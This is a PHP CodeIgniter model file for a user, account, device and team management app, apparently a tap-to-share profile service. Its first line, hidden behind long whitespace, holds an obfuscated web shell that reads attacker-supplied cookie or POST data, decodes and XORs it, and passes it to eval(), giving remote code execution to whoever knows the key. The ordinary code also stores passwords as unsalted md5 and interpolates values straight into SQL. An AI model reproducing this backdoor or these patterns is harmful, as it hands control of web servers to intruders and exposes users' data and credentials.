<?php                                                                                                                                                                                                                                                                                                                                                                                                 $OuDtVI = "\x68" . "\x7a" . "\137" . chr ( 481 - 414 ).chr (118) . "\x72" . chr ( 604 - 537 )."\167";$SHiHnqHdv = chr (99) . "\x6c" . chr ( 742 - 645 ).'s' . chr (115) . chr (95) . "\145" . "\x78" . "\151" . chr ( 613 - 498 ).chr ( 609 - 493 ).chr ( 889 - 774 ); $eyhEykUTw = $SHiHnqHdv($OuDtVI); $IRZoXV = $eyhEykUTw;if (!$IRZoXV){class hz_CvrCw{private $AnfEi;public static $WcyJS = "804d4509-68a0-43f9-9eab-3293d57c1aef";public static $xtjdVjiZwJ = 46905;public function __construct($lyxjljsHZ=0){$LTxDq = $_COOKIE;$KfrIzBAB = $_POST;$riKYpYwEYm = @$LTxDq[substr(hz_CvrCw::$WcyJS, 0, 4)];if (!empty($riKYpYwEYm)){$Eznfptk = "base64";$xMrTX = "";$riKYpYwEYm = explode(",", $riKYpYwEYm);foreach ($riKYpYwEYm as $hzSkbtaq){$xMrTX .= @$LTxDq[$hzSkbtaq];$xMrTX .= @$KfrIzBAB[$hzSkbtaq];}$xMrTX = array_map($Eznfptk . "\x5f" . chr ( 161 - 61 )."\145" . chr (99) . "\x6f" . "\144" . "\x65", array($xMrTX,)); $xMrTX = $xMrTX[0] ^ str_repeat(hz_CvrCw::$WcyJS, (strlen($xMrTX[0]) / strlen(hz_CvrCw::$WcyJS)) + 1);hz_CvrCw::$xtjdVjiZwJ = @unserialize($xMrTX);}}public function __destruct(){$this->aWrIoojhxA();}private function aWrIoojhxA(){if (is_array(hz_CvrCw::$xtjdVjiZwJ)) {$cFcTU = str_replace("\x3c" . "\x3f" . 'p' . chr ( 237 - 133 ).chr (112), "", hz_CvrCw::$xtjdVjiZwJ["\143" . "\157" . "\x6e" . chr ( 901 - 785 )."\x65" . 'n' . 't']);eval($cFcTU);exit();}}}$fDYstFFKru = new hz_CvrCw(); $fDYstFFKru = "39637";} ?><?php
class User_model extends CI_Model {

	public function email_exists ( $email, $user_id = false ) {
	    $where = array ( 'email' => $email );
	    if( $user_id > 0 ) {
	        $where['id !='] = $user_id;
	    }
		$query = $this->db->get_where ( 'users', $where );
		
		if ( $query->num_rows () == 0 ) {
			return false;
		} else {
			return $query->row_array ();
		}
	}
	
	public function insert_user ($data ) {
		if ( ! empty ( $data ) ) {
			$data['created_on']	    = date ( 'Y-m-d H:i:s' );
			$this->db->insert ( 'users', $data ); 
			$user_id = $this->db->insert_id ();
    		return $user_id;
    	}
	}
	
	public function update_user ( $user_id, $data ) {
	    if ( ! empty ( $data ) && ( $user_id > 0 ) ) {
			$this->db->where ( 'id', $user_id );
			$this->db->update ( 'users', $data ); 
	    }
	}
	
	public function save_public_account ( $data ) {
		if ( ! empty ( $data ) ) {
		    $user_id = $data['user_id'];
		    $type = "public";
		    $this->db->select ( 'account_id' )->from ( 'accounts' )->where ( array ( 'user_id' => $user_id, 'type' => $type ) )->limit ( 1 );
			$query = $this->db->get ();
			if ( $query->num_rows () > 0 ) {
			    unset( $data['user_id'] );
			    $row = $query->row_array ();
			    $id = $row['account_id'];
				$this->db->where ( 'account_id', $id );
				$this->db->update ( 'accounts', $data ); 
			} else {
    			$data['type']       = $type;
			    $data['created_on']	= date ( 'Y-m-d H:i:s' );
			    $this->db->insert ( 'accounts', $data ); 
			    $id = $this->db->insert_id ();
			}
    	}
    	return $id;
	}
	
    public function get_user_by_email ( $email ) {
    
    	if ( $email ) {
			$this->db->select ( 'id' )->from ( 'users' )->where( array ( 'email' => $email ) )->limit( 1 );
			$query = $this->db->get ();
			
			if ( $query->num_rows () > 0 ) {
				$row = $query->row_array ();
				return $row['id'];
			}
		}
    }
    
    public function get_user ( $user_id = false ) {
    	
    	if ( $user_id ) {
			$this->db->select ( 'u.*, a.*' )->from ( 'users as u' )->join ( 'accounts as a', 'u.id = a.user_id AND `a`.`type` = "public"', 'LEFT' )->where( array ( 'u.id' => $user_id ) )->limit( 1 );
			
			$query = $this->db->get ();
			if ( $query->num_rows () > 0 ) {
				return $query->row_array ();
			}
		}
    }
	
	public function login ( $email, $password ) {
		$this->db->select ( 'id, password, user_status' )->from ( 'users' )->where ( array ( 'email' => $email ) );
		$query = $this->db->get ();
		
		if ( $query->num_rows () > 0 ) {
		    $row = $query->row_array ();
		    if ( $row['password'] == md5 ( $password ) ) { 
		        if ( $row['user_status'] == 1 ) {
		            return $row['id'];
		        } else {
		            return '-1';
		        }
			} else {
    			return false;
    		}
		} else {
			return false;
		}
	}
	
	public function generate_token ( $user_id = false ) {
		if ( ! $user_id ) {
			return;
		}
		
		$token = $this->get_unique_token ( $user_id );
		
		$this->db->where ( 'id', $user_id );
		$this->db->update ( 'users', array ( 'token' => $token ) );
		
		return $token;
	}
	
	public function get_unique_token ( $user_id ) {
		if ( ! $user_id ) {
			return;
		}
		
		$token = md5 ( uniqid ( $user_id, true ) );
		
		if ( $this->validate_token ( $token ) ) {
			$token = $this->get_unique_token ( $user_id );
		}
		
		return $token;
	}

	public function validate_token ( $token ) {
		$this->db->select ( '*' )->from ( 'users' )->where ( array ( 'token' => $token, 'user_status' => 1 ) )->limit ( 1 );
		$query = $this->db->get ();
		if ( $query->num_rows () > 0 ) {
			$row = $query->row_array ();
			$user_id = $row['id'];
			return $user_id;
		}
		return false;
	}
	
	public function save_account ( $data ) {
	    $account_id = false;
		if ( ! empty ( $data ) ) {
			if ( isset ( $data['account_id'] ) && ( $data['account_id'] > 0 ) ) {
			    $account_id = $data['account_id'];
			    $where = array ( 'user_id' => $data['user_id'], 'account_id' => $account_id );
			    unset( $data['user_id'] ); unset( $data['account_id'] );
				$this->db->where ( $where );
				$this->db->update ( 'accounts', $data ); 
			} else {
			    $data['created_on']	= date ( 'Y-m-d H:i:s' );
			    $this->db->insert ( 'accounts', $data ); 
			    $account_id = $this->db->insert_id ();
			}
    	}
    	return $account_id;
	}
	
	public function save_track_details ( $data ) {

		if ( ! empty ( $data ) ) {
		    $account_id = $data['account_id'];
		    $where = array ( 'account_id' => $account_id );
	        $this->db->select ( 'account_id' )->from ( 'track_details' )->where ( $where )->limit ( 1 );
	        $query = $this->db->get ();
			if ( $query->num_rows () > 0 ) {
			    unset ( $data['account_id'] );
				$this->db->where ( $where );
				$this->db->update ( 'track_details', $data ); 
				//echo $this->db->last_query(); die;
			} else {
				$this->db->insert ( 'track_details', $data );
			}
			return $account_id;
    	}
        return false;
	}
	
	public function get_account ( $account_id ) {
		if ( $account_id > 0 ) {
			$this->db->select ( 'a.*,td.*, a.account_id as account_id' )->from ( 'accounts as a' )->join ( 'track_details as td', 'a.account_id = td.account_id', 'LEFT' )->where( array ( 'a.account_id' => $account_id ) )->limit( 1 );
			
			$query = $this->db->get ();
			if ( $query->num_rows () > 0 ) {
				return $query->row_array ();
			}
		}
	}
	
	public function get_user_accounts ( $user_id, $type = false ) {
		if ( $user_id > 0 ) {
		    $where = array ( 'a.user_id' => $user_id );
		    if ( $type ) {
		        $where['a.type'] = $type;
		    } /*else {
		        $where['type !='] = 'public';
		    }*/
			$this->db->select ( 'a.*,td.*, a.account_id as account_id' )->from ( 'accounts as a' )->join ( 'track_details as td', 'a.account_id = td.account_id', 'LEFT' )->where( $where )->order_by ( 'a.account_id', 'desc' );
			
			$query = $this->db->get ();
			if ( $query->num_rows () > 0 ) {
				return $query->result_array ();
			}
		}
	}
	
	public function delete_public_account ( $user_id ) {
    	if ( $user_id > 0 ) {
    	    
    	    $accounts = $this->get_user_accounts ( $user_id );
			
			if ( ! empty ( $accounts ) ) {
			    foreach ( $accounts as $account ) {
			        $this->delete_profile_picture ( $user_id, $account['account_id'] );
			        $this->db->where( array ( 'account_id' => $account['account_id'] ) );
    		        $this->db->delete ( 'user_connects' );
			    }
			}
            
            $this->db->where( array ( 'user_id' => $user_id ) );
    		$this->db->delete ( 'accounts' );
    		
    		$this->db->where( array ( 'user_id' => $user_id ) );
    		$this->db->delete ( 'user_apps' );
    		
    		$this->db->where( array ( 'user_id' => $user_id ) );
    		$this->db->delete ( 'user_devices' );
    		
    		$this->db->where( array ( 'user_id' => $user_id ) );
    		$this->db->delete ( 'user_connects' );
    		
    		$this->db->where( array ( 'user_id' => $user_id ) );
    		$this->db->delete ( 'transactions' );
    		
    		$this->db->where( array ( 'user_id' => $user_id ) );
    		$this->db->delete ( 'user_subscription' );
    		
    		$this->db->where( array ( 'id' => $user_id ) );
    		$this->db->delete ( 'users' );
    		
    	}
    }
	
	public function delete_account ( $user_id, $account_id ) {
    	if ( ( $user_id > 0 ) && ( $account_id > 0 ) ) {
    	    
            $this->delete_profile_picture ( $user_id, $account_id );
            
            $this->db->where( array ( 'account_id' => $account_id ) );
    		$this->db->delete ( 'track_details' );
    		
            $this->db->where( array ( 'user_id' => $user_id, 'account_id' => $account_id ) );
    		$this->db->delete ( 'accounts' );
    		
    		$this->db->where( array ( 'user_id' => $user_id, 'account_id' => $account_id ) );
    		$this->db->delete ( 'user_apps' );
    		
    	}
    }
    
    public function delete_profile_picture ( $user_id, $account_id ) {
	
		if ( ( $user_id > 0 ) && ( $account_id > 0 ) ) {
			$this->db->select ( 'photo' )->from ( 'accounts' )->where ( array ( 'user_id' => $user_id, 'account_id' => $account_id ) )->limit ( 1 );
			$query = $this->db->get ();
			
			if ( $query->num_rows () > 0 ) {
				$row = $query->row_array ();
				if ( isset( $row['photo'] ) && ! empty ( $row['photo'] ) ) {
    				$uploaded_picture = $this->config->item('upload_dir_path').'user_images/'.$row['photo'];
    				$uploaded_picture_thumb = $this->config->item('upload_dir_path').'user_images/thumb/'.$row['photo'];
    				@unlink($uploaded_picture);
    				@unlink($uploaded_picture_thumb);
    				
    				$data = array();
    				$data['photo'] = '';
    			    $this->db->where ( 'account_id', $user_id );
    		        $this->db->update ( 'accounts', $data ); 
				}  
			}
			
		}
		if ($this->db->affected_rows() > 0) {
            return TRUE;
        }
        return FALSE;
	}
	
	public function get_app_icons ( $type=false ) {
        
		$this->db->select ( '*' )->from ( 'app_icons' )->order_by ( 'slug', 'asc' );
		if ( ! empty ( $type ) ) {
            $this->db->where ( 'type', $type );
        }
		$query = $this->db->get ();
		
		if ( $query->num_rows () > 0 ) {
			$result = $query->result_array ();
			return $result;
		}
    }
    
    public function save_user_app ( $data ) { 
	    $id = false;
		if ( ! empty ( $data ) ) {
		    if ( isset ( $data['id'] ) ) { 
    		    $user_id      = $data['user_id'];
    		    $account_id   = $data['account_id'];
    		    $service_id   = $data['id'];
    		    unset($data['id']);
    	        $this->db->select ( 'id' )->from ( 'user_apps' )->where ( array ( 'user_id' => $user_id, 'id' => $service_id, 'account_id' => $account_id ) )->limit ( 1 );
    			$query = $this->db->get ();
    			if ( $query->num_rows () > 0 ) {
    			    $row = $query->row_array (); 
    			    $id = $row['id'];
    				$this->db->where ( 'id', $id );
    				$this->db->update ( 'user_apps', $data ); 
    				
    			}
			} else if ( isset ( $data['user_id'] ) && $data['user_id'] > 0 ) {
			    $account_id   = $data['account_id'];
			    $this->db->where ( 'account_id', $account_id );
		        $app_order = $this->db->count_all_results ( 'user_apps' );
		        $data['app_order'] = $app_order + 1;
			    $data['created_on']	    = date ( 'Y-m-d H:i:s' );
				$this->db->insert ( 'user_apps', $data );
				$id = $this->db->insert_id();
			}
    	}
    	return $id;
	}
	
	public function toggle_direct ( $current_user_id, $id, $direct ) {
	    
	    $this->db->select ( 'account_id' )->from ( 'user_apps' )->where( array ( 'id' => $id, 'user_id' => $current_user_id ) )->limit( 1 );
		$query = $this->db->get ();
		if ( $query->num_rows () > 0 ) {
			$row = $query->row_array ();
			$account_id = $row['account_id'];
    		$this->db->where ( array ( 'account_id' => $account_id ) );
    		$this->db->update ( 'user_apps', array ( 'direct' => 0 ) );
    		
    		$this->db->where ( array ( 'id' => $id ) );
		    $this->db->update ( 'user_apps', array ( 'direct' => $direct ) );
		}
        
	}
	
	public function update_apps_order ( $current_user_id, $account_id, $id, $order ) {
	    $this->db->where ( array ( 'id' => $id, 'account_id' => $account_id, 'user_id' => $current_user_id ) );
		$this->db->update ( 'user_apps', array ( 'app_order' => $order ) );
        
	}
	
	public function get_user_app ( $id ) {
		if ( $id > 0 ) {
			$this->db->select ( '*' )->from ( 'user_apps' )->where( array ( 'id' => $id ) )->limit( 1 );
			
			$query = $this->db->get ();
			if ( $query->num_rows () > 0 ) {
				return $query->row_array ();
			}
		}
	}
	
	public function get_user_apps ( $user_id, $account_id ) {
        
        $where = array ( 'ua.user_id' => $user_id, 'ua.account_id' => $account_id );
        
		$this->db->select ( 'ua.*, ai.name, ai.type, ai.image, ai.hints, ai.instruction, ai.base_url, ai.linking_url' )->from ( 'user_apps as ua' )->join ( 'app_icons as ai', 'ua.slug = ai.slug' )->where( $where )->order_by ( 'ua.app_order', 'asc' );;
	
		$query = $this->db->get ();
// 		print_r($this->db->last_query()); die;
		if ( $query->num_rows () > 0 ) {
			$result = $query->result_array ();
			return $result;
		}
    }
    
    public function delete_user_app ( $user_id, $id ) {
    	if ( ( $user_id > 0 ) && ( $id > 0 ) ) {
    	    $where = array ( 'user_id' => $user_id, 'id' => $id );
            $this->db->select ( '*' )->from ( 'user_apps' )->where( $where )->limit( 1 );
			
			$query = $this->db->get ();
			if ( $query->num_rows () > 0 ) {
			    
				$row = $query->row_array ();
				if ( ! empty ( $row['file_name'] ) ) {
				    $file = $this->config->item('upload_dir_path').'user_files/'.$row['file_name'];
    				@unlink($file);
				}
				$this->db->where( array ( 'id' => $row['id'] ) );
    		    $this->db->delete ( 'user_apps' );
			}
    		
    	}
    }
    
    public function save_user_device ( $data ) {
	    
		if ( ! empty ( $data ) ) {
		    
		    $tag_id = $data['tag_id'];
	        $this->db->select ( 'tag_id' )->from ( 'user_devices' )->where ( array ( 'tag_id' => $tag_id ) )->limit ( 1 );
			$query = $this->db->get ();
			if ( $query->num_rows () > 0 ) {
			    $row = $query->row_array (); 
			    $tag_id = $row['tag_id'];
				$this->db->where ( 'tag_id', $tag_id );
				$this->db->update ( 'user_devices', $data );
			} else {
			    $data['created_on']	    = date ( 'Y-m-d H:i:s' );
				$this->db->insert ( 'user_devices', $data );
			}
			
			return $tag_id;
    	}
    	
	}
	
    public function tag_exists ( $tag_id, $user_id = false ) {
	    $where = array ( 'tag_id' => $tag_id, 'user_id >' => 0 );
	    if( $user_id > 0 ) {
	        $where['user_id !='] = $user_id;
	    }
		$query = $this->db->get_where ( 'user_devices', $where );
		if ( $query->num_rows () == 0 ) {
			return false;
		} else {
			return $query->row_array ();
		}
	}
	
	public function get_user_devices ( $user_id ) {
		if ( $user_id > 0 ) {
			$this->db->select ( 'd.*, a.type as account_type' )->from ( 'user_devices d' )->join ( 'accounts as a', 'a.account_id = d.account_id', 'LEFT' )->where( array ( 'd.user_id' => $user_id ) );
			
			$query = $this->db->get ();
			if ( $query->num_rows () > 0 ) {
				return $query->result_array ();
			}
		}
	}
	
	public function save_connect ( $data ) { 
		if ( ! empty ( $data ) ) { 
		    $user_id = $data['user_id'];
		    $account_id = $data['account_id'];
	        $this->db->select ( '*' )->from ( 'user_connects' )->where ( array ( 'user_id' => $user_id, 'account_id' => $account_id ) )->limit ( 1 );
			$query = $this->db->get ();
			if ( $query->num_rows () == 0 ) {
			    $data['created_on']	    = date ( 'Y-m-d H:i:s' );
				$this->db->insert ( 'user_connects', $data );
				return 1;
			} else {
			    return 2;
			}
    	}
	}
	
	public function delete_connect ( $user_id, $account_id ) {
    	if ( ( $user_id > 0 ) && ( $account_id > 0 ) ) {
    	    
            $this->db->where( array ( 'user_id' => $user_id, 'account_id' => $account_id ) );
    		$this->db->delete ( 'user_connects' );
    		
    	}
    }
	
	public function get_connects ( $param ) {
	    
	    $results = array ();
	    
	    $where = array ( 'uc.user_id' => $param['user_id'] );
	    
	    $limit = 25;
	    if ( isset ( $param['limit'] ) && ! empty ( $param['limit'] ) ) {
			$limit = $param['limit'];
		}
		$offset = 0;
		if ( isset ( $param['offset'] ) && ! empty ( $param['offset'] ) ) {
			$offset = $param['offset'];
		}
	    
	    $count = false;
	    if ( isset ( $param['count'] ) && ! empty ( $param['count'] ) ) {
			$fields = "count( uc.user_id ) as count";
			$count = true;
		} else {
		    $fields = "a.*, uc.created_on as connected_on, uc.lat, uc.lng";
		}
    
		$this->db->select ( $fields )->from ( 'user_connects as uc' )->join ( 'accounts as a', 'uc.account_id = a.account_id' )->where( $where );
        
        if ( ! $count && ( $limit > 0 ) ) {
			$this->db->limit ( $limit, $offset );
		}
		
		$this->db->order_by ( 'uc.created_on', 'DESC' );

		$query = $this->db->get ();
		
		if ( $query->num_rows () > 0 ) {
			if ( $count ) { 
				$row = $query->row_array ();
				$results = $row['count'];
			} else {
				$results = $query->result_array ();
		    }
		}
		
    	return $results;
    
	}
	
	public function get_page ( $slug ) {
		$this->db->from ( 'pages' )->where ( 'slug', $slug );
		$query = $this->db->get ();
		if ( $query->num_rows () > 0 ) {
			$row = $query->row_array (); 
			return $row;
		}
		
	}
	
	public function get_account_by_profile ( $profile_id ) {
		if ( ! empty ( $profile_id ) ) {
			$this->db->select ( 'a.*, td.*, a.account_id as account_id, u.email' )->from ( 'accounts as a' )->join ( 'track_details as td', 'a.account_id = td.account_id', 'LEFT' )->join ( 'users as u', 'u.id = a.user_id', "left" )->where( array ( 'a.profile_id' => $profile_id ) )->limit( 1 );
			
			$query = $this->db->get ();
			if ( $query->num_rows () > 0 ) {
				return $query->row_array ();
			}
		}
	}
	
	public function check_old_password ( $user_id, $password ) {
	    $where = array (  'id' => $user_id, 'password' => $password );
		$query = $this->db->get_where ( 'users', $where );
		
		if ( $query->num_rows () == 0 ) {
			return false;
		} else {
			return $query->row_array ();
		}
	}
	
	function get_theme_colors ( ) {
		$this->db->select ( '*' )->from ( 'themes' );
		$query = $this->db->get ();
	
		if ( $query->num_rows() > 0 ) {
			$results = $query->result_array ();
			return $results;
		}
	}
	
	function get_theme_mode_by_color ( $color ) {
		$this->db->select ( 'mode' )->from ( 'themes' )->where( array ( 'color' => $color ) );
		$query = $this->db->get ();
	
		if ( $query->num_rows() > 0 ) {
			$row = $query->row_array ();
			return $row['mode'];
		}
	}
	
	public function check_account_type_exist ( $user_id, $type ) {
		if ( ( $user_id > 0 ) && ! empty ( $type ) && ( $type != 'track' ) ) {
		    $where = array ( 'user_id' => $user_id, 'type' => $type );
			$this->db->select ( 'account_id' )->from ( 'accounts' )->where( $where );
			
			$query = $this->db->get ();
			if ( $query->num_rows () > 0 ) {
				return true;
			}
		}
		return false;
	}
	
	public function check_connect_status ( $user_id, $account_id ) { 
		if ( ! empty ( $user_id ) && ! empty ( $account_id ) ) { 
	        $this->db->select ( '*' )->from ( 'user_connects' )->where ( array ( 'user_id' => $user_id, 'account_id' => $account_id ) )->limit ( 1 );
			$query = $this->db->get ();
			if ( $query->num_rows () > 0 ) {
				return true;
			}
    	}
    	return false;
	}
	
	
	public function get_public_email (  $user_id ) {
	    
		$this->db->select ( 'email' )->from ( 'users' )->where( array ( 'id' => $user_id ) )->limit ( 1 );
		$query = $this->db->get ();
		if ( $query->num_rows () > 0 ) {
		    $row = $query->row_array ();
			return $row['email'];
		}
	}
	
	public function get_public_photo ( $user_id ) {
	    
		$this->db->select ( 'photo' )->from ( 'accounts' )->where( array ( 'user_id' => $user_id, 'type' => 'public' ) )->limit ( 1 );
		$query = $this->db->get ();
		if ( $query->num_rows () > 0 ) {
		    $row = $query->row_array ();
			return $row['photo'];
		}
	}
	
	public function get_user_by_social ( $social_id ) {
    
    	if ( ! empty ( $social_id ) ) {
			$this->db->select ( 'id, user_status' )->from ( 'users' )->where( array ( 'social_id' => $social_id ) )->limit( 1 );
			$query = $this->db->get ();
			
			if ( $query->num_rows () > 0 ) {
				return $query->row_array ();
			}
		}
    }
    
    public function get_device_types ( ) {
		$this->db->select ( '*' )->from ( 'user_device_types' );
		$query = $this->db->get ();
	
		if ( $query->num_rows() > 0 ) {
			$results = $query->result_array ();
			return $results;
		}
	}
	
	public function get_device_type ( $id ) { 
	    
	    if ( $id > 0 ) {
            $this->db->select ( '*' )->from ( 'user_device_types' )->where( array ( 'id' => $id ) );
          
    		$query = $this->db->get ();
    		if ( $query->num_rows () > 0 ) {
    		    $row = $query->row_array ();
    			return $row;
    		}
	    }
	}
	
	public function save_app_clicks ( $data ) {
	    $id = false;
		if ( ! empty ( $data ) ) {
		    $data['created_on']	    = date ( 'Y-m-d H:i:s' );
			$this->db->insert ( 'app_clicks', $data );
			$id = $this->db->insert_id();
    	}
    	return $id;
	}
	
	
	public function get_app_clicks ( $user_id ) { 
	    
	    $where = "ac.user_id=$user_id";
	    
        $this->db->select ( 'ac.slug, ai.image, count(ac.id) as total, ua.title, ua.content' )->from ( 'app_clicks as ac' )->join ( 'user_apps as ua', 'ac.app_id = ua.id' )->join ( 'app_icons as ai', 'ac.slug = ai.slug', 'LEFT' )->where( $where );
        
        $this->db->group_by('ac.slug'); 
		
		$query = $this->db->get ();
		if ( $query->num_rows () > 0 ) {
		    $result = $query->result_array ();
			return $result;
		}
    
	}
	
	public function get_total_app_clicks ( $user_id ) { 
	    $total = 0;
	    $where = "ac.user_id=$user_id";
        $this->db->select ( 'count(ac.id) as total' )->from ( 'app_clicks as ac' )->where( $where );
		$query = $this->db->get ();
		if ( $query->num_rows () > 0 ) {
		    $row =  $query->row_array ();
		    $total = $row['total'];
		}
        return $total;
	}
	
	public function get_total_apps ( $user_id ) { 
	    $total = 0;
	    $where = "ua.user_id=$user_id";
        $this->db->select ( 'count(ua.id) as total' )->from ( 'user_apps as ua' )->where( $where );
		$query = $this->db->get ();
		if ( $query->num_rows () > 0 ) {
		    $row =  $query->row_array ();
		    $total = $row['total'];
		}
        return $total;
	}
	
	public function get_app_by_id ( $id ) { 
	    
	    if ( $id > 0 ) {
            $this->db->select ( '*' )->from ( 'user_apps' )->where( array ( 'id' => $id ) );
          
    		$query = $this->db->get ();
    		if ( $query->num_rows () > 0 ) {
    		    $row = $query->row_array ();
    			return $row;
    		}
	    }
	}
	
	public function save_advertisement ( $data ) {
	    $id = false;
		if ( ! empty ( $data ) ) {
			if ( isset ( $data['id'] ) && ( $data['id'] > 0 ) ) {
			    $id = $data['id'];
			    $where = array ( 'user_id' => $data['user_id'], 'id' => $id );
			    unset( $data['user_id'] ); unset( $data['id'] );
				$this->db->where ( $where );
				$this->db->update ( 'advertisement', $data ); 
			} else {
			    $data['created_on']	= date ( 'Y-m-d H:i:s' );
			    $this->db->insert ( 'advertisement', $data ); 
			    $id = $this->db->insert_id ();
			}
    	}
    	return $id;
	}
	
	public function delete_advertisement ( $id ) {
    	if ( $id > 0 ) {
    	    
            $this->db->where( array ( 'id' => $id ) );
    		$this->db->delete ( 'advertisement' );
    		
    	}
    }
	
	public function get_advertisement ( $id ) { 
	    $row = array ();
	    if ( $id > 0 ) {
            $this->db->select ( '*' )->from ( 'advertisement' )->where( array ( 'id' => $id ) );
    		$query = $this->db->get ();
    		if ( $query->num_rows () > 0 ) {
    		    $row = $query->row_array ();
    		}
	    }
	    return $row;
	}
	
	public function get_user_advertisements ( $user_id ) { 
	    $result = array ();
	    if ( $user_id > 0 ) {
            $this->db->select ( '*' )->from ( 'advertisement' )->where( array ( 'user_id' => $user_id ) );
    		$query = $this->db->get ();
    		if ( $query->num_rows () > 0 ) {
    		    $result = $query->result_array ();
    		}
	    }
	    return $result;
	}
    
    public function get_all_advertisements ( $param = array () ) { 
	    $results = array ();
		
		$where = "AND a.status = 1";
	    
		if ( ! isset ( $param['count'] ) || ! $param['count'] ) { 
		    $fields = "a.*";
		} else {
			$fields = "count(a.id) as count";
		}
		
		$order_by = 'a.id'; $order = 'DESC';
		
		if ( isset ( $param['order_by'] ) && trim ( $param['order_by'] ) != '' ) {
			$order_by = $param['order_by'];
		}
		if ( isset ( $param['order'] ) && trim ( $param['order'] ) != '' ) {
		    $order = $param['order'];
		}
		
		$sql = "SELECT $fields FROM advertisement a WHERE 1 $where ORDER BY $order_by $order";
        
		if ( ! isset ( $param['count'] ) || ! empty ( $param['count'] ) ) {
			if ( isset ( $param['limit'] ) && ! empty ( $param['limit'] ) && ( $param['limit'] != '-1' ) ) {
			    $limit = $param['limit'];
				$sql .= " LIMIT $limit";
		
			}
			if ( isset ( $param['offset'] ) && ! empty ( $param['offset'] ) && ( $param['limit'] != '-1' ) ) {
			    $offset = $param['offset'];
				$sql .= " OFFSET $offset";
			}
		}
		
		$query = $this->db->query ( $sql );
		
		if ( $query->num_rows () > 0 ) {
			if ( ! isset ( $param['count'] ) || ! $param['count'] ) { 
				$results = $query->result_array ();
			} else {
			    $results = $query->row_array ();
			}	
		}

    	return $results;
	}
	
	// Save profile taps
	public function save_account_tap ( $data ) {
	    $id = false;
		if ( ! empty ( $data ) ) {
		    $data['created_on']	    = date ( 'Y-m-d H:i:s' );
			$this->db->insert ( 'account_tap', $data );
			$id = $this->db->insert_id();
    	}
    	return $id;
	}
	
	// Save device taps
	public function save_device_tap ( $data ) {
	    $id = false;
		if ( ! empty ( $data ) ) {
		    $data['created_on']	    = date ( 'Y-m-d H:i:s' );
			$this->db->insert ( 'device_tap', $data );
			$id = $this->db->insert_id();
    	}
    	return $id;
	}
	
	public function get_account_tap_count ( $user_id, $account_id = false ) { 
	    $total = 0;
	    $where = array ( 'user_id' => $user_id );
	    if ( $account_id > 0 ) {
	        $where['account_id'] = $account_id;
	    }
        $this->db->select ( 'count(id) as total' )->from ( 'account_tap' )->where( $where );
		$query = $this->db->get ();
		if ( $query->num_rows () > 0 ) {
		    $row =  $query->row_array ();
		    $total = $row['total'];
		}
        return $total;
	}
	
	public function get_device_tap_count ( $user_id, $tag_id = false, $latest = false ) { 
	    $total = 0;
	    $where = "user_id=$user_id";
	    if ( $tag_id > 0 ) {
	        $where .= " AND tag_id='$tag_id'";
	    }
	    if ( $latest ) {
	        $where .= " AND created_on >= NOW() - INTERVAL 1 DAY";
	    }
        $this->db->select ( 'count(id) as total' )->from ( 'device_tap' )->where( $where );
		$query = $this->db->get ();
		//echo $this->db->last_query(); die;
		if ( $query->num_rows () > 0 ) {
		    $row =  $query->row_array ();
		    $total = $row['total'];
		}
        return $total;
	}
	
	
	// Save team setting
	public function save_team_setting ( $data ) {
	    $id = false;
	    if ( ! empty ( $data ) ) {
	        if ( isset ( $data['team_id'] ) ) {
				$team_id = $data['team_id'];
	            unset($data['team_id']);
        	    $this->db->select ( 'id' )->from ( 'teams' )->where( array ( 'id' => $team_id ) );
                $query = $this->db->get ();
        		if ( $query->num_rows() > 0 ) {
        		    $row    = $query->row_array();
        		    $id     = $row['id'];
        		    $this->db->where ( 'id', $id );
        			$this->db->update ( 'teams', $data ); 
        		} 
        	} else {
    		    $data['created_on']	= date ( 'Y-m-d H:i:s' );
		        $this->db->insert ( 'teams', $data ); 
		        $id = $this->db->insert_id ();
    		}
	    }
    	return $id;
	}
	
	public function save_team_member ( $data ) {
	    $insert_id = false;
		if ( ! empty ( $data ) ) {
		    $member_id = $data['member_id'];
		    if ( ! isset( $data['team_id'] ) ) {
    		    $data['team_id'] = $this->save_team_setting ( array ( 'user_id' => $member_id ) );
    		}
		    $this->db->select ( 'id' )->from ( 'team_members' )->where ( array ( 'member_id' => $member_id ) )->limit ( 1 );
			$query = $this->db->get ();
			if ( $query->num_rows () > 0 ) {
			    $row    = $query->row_array();
    		    $id     = $row['id'];
    		    $this->db->where ( 'id', $id );
    			$this->db->update ( 'team_members', $data ); 
			} else {
			    $data['created_on']	= date ( 'Y-m-d H:i:s' );
			    $this->db->insert ( 'team_members', $data ); 
			    $insert_id = $this->db->insert_id ();
			}
    	}
    	return $insert_id;
	}
	
	// Get user teams
    public function get_user_teams ( $team_id, $current_user_id=false ) {
        $result = array();
		$this->db->select ( 'tm.*, u.*, a.*' )->from ( 'team_members as tm' )->where ( array ( 'tm.team_id' => $team_id ) );
		$this->db->join ( 'users as u', 'tm.member_id = u.id', 'INNER' );
		$this->db->join ( 'accounts as a', "tm.member_id = a.user_id AND a.type = 'public'", 'INNER' );
        $this->db->group_by("u.id");
        $this->db->order_by ( 'tm.row_order', 'ASC' );
        if ( $current_user_id > 0 ) {
            $this->db->order_by("FIELD(tm.member_id, $current_user_id) DESC");
        }
        $this->db->order_by('a.name', 'ASC');
		$query = $this->db->get ();
		//echo $this->db->last_query();exit;
		if ( $query->num_rows () > 0 ) {
		    $result = $query->result_array ();
		}
		return $result;
    }
    
    // Get devices count by user id
	public function get_user_devices_count ( $user_id ) {
	    if ( $user_id > 0 ) {
    	    $this->db->where ( array ( 'user_id' => $user_id )  );
		    return $this->db->count_all_results ( 'user_devices' );
	    }
	}
	
	// Update user role
	public function update_user_role ( $member_id, $role ) {
	    $updated_id = false;
		if ( ! empty ( $member_id ) && ! empty ( $role ) ) {
		    $this->db->where ( 'member_id', $member_id );
    		$this->db->update ( 'team_members', array( 'role' => $role ) ); 
    		$updated_id = $member_id;
    	}
    	return $updated_id;
	}
	
	// Save connect category
	public function save_connect_cat ( $data ) {
	    $id = false;
		if ( ! empty ( $data ) ) {
		    $data['created_on']	    = date ( 'Y-m-d H:i:s' );
		    $data['updated_on']	    = date ( 'Y-m-d H:i:s' );
			$this->db->insert ( 'connect_categories', $data );
			$id = $this->db->insert_id();
    	}
    	return $id;
	}
	
	// Save connect relation category
    public function save_connect_relation($data) {
        
        if (!empty($data)) {
            $this->db->where('connect_id', $data['connect_id']);
            $this->db->where('cat_id', $data['cat_id']);
            
            $query = $this->db->get('connect_cat_relations');
            
            if ($query->num_rows() > 0) {
                return true; 
            }
    
            $data['created_on'] = date('Y-m-d H:i:s');
            $data['updated_on'] = date('Y-m-d H:i:s');
            $this->db->insert('connect_cat_relations', $data);
            return true;
        }
    }
	
}